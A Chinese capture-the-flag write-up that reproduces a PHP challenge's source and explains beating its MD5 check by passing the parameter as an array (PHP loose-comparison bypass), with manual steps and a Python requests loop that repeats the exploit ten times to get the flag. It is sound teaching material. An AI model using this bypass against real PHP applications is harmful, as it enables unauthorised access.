10.27-这个真的是爆破

在这里插入图片描述
题目内容:

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

带有注释的题目

error_reporting(0);// 关闭错误报告
session_start();//启动会话
require('./flag.php');
if(!isset($_SESSION['nums'])){//isset() — 检测变量是否设置。
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();//返回当前时间的 Unix 时间戳
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();//session_destroy — 销毁一个会话中的全部数据
}//120s后会话结束

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');//range创建一个包含从 "a" 到 "z" 之间的元素范围的数组
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];//mt_rand() 使用 Mersenne Twister 算法返回0到25之间的随机整数。$str_rand[mt_rand(0,25)]返回"a" 到 "z"之间任意字母。$str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]是两任意字母相连

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){//substr(string,start,length)。===是包括变量值与类型完全相等。==只是比较两个数的值是否相等,由于substr是字符串,和数字比较的时候会强制转化成数字0,自然和0相等。
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){//循环10次输出flag,暴力破解
  echo $flag;
}

show_source(__FILE__);
?>

代码内容:先设置初始值nums=0,time是当前时间,whoami=ea。当whoami=value时,num+1,whoami=$str_rands,循环。nums>=10时,打印flag。120s后会话结束,由于时间120秒,完全可以手工做10次,即可得到flag。
这道题可以手动也可以用python脚本来解
1、手动
由于==是弱类型判断,所以可以用数组绕过,即md5(数组)==0
因此首先构造?value[]=ea
在这里插入图片描述
再用rl替换ea,一共10次重复,即可得到flag
在这里插入图片描述
2、python脚本

import requests

url='http://9882efffe3b44ac39f6c9c1bfd7a4f219461f3fe32dc48d4.changame.ichunqiu.com/?value[]='

a=requests.session() //保存cookie信息
b=a.get(url+'ea') //发送get方式请求

for i in range(11):
	c=a.get(url+b.text[:2])
	b=c
	print(b.text)
	pass

直接看最后就行,就可以得到flag
在这里插入图片描述
参考文章:
https://blog.youkuaiyun.com/dragon_18/article/details/83446483
https://www.jianshu.com/p/67c7c89543f2
https://www.ichunqiu.com/writeup/detail/1069

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值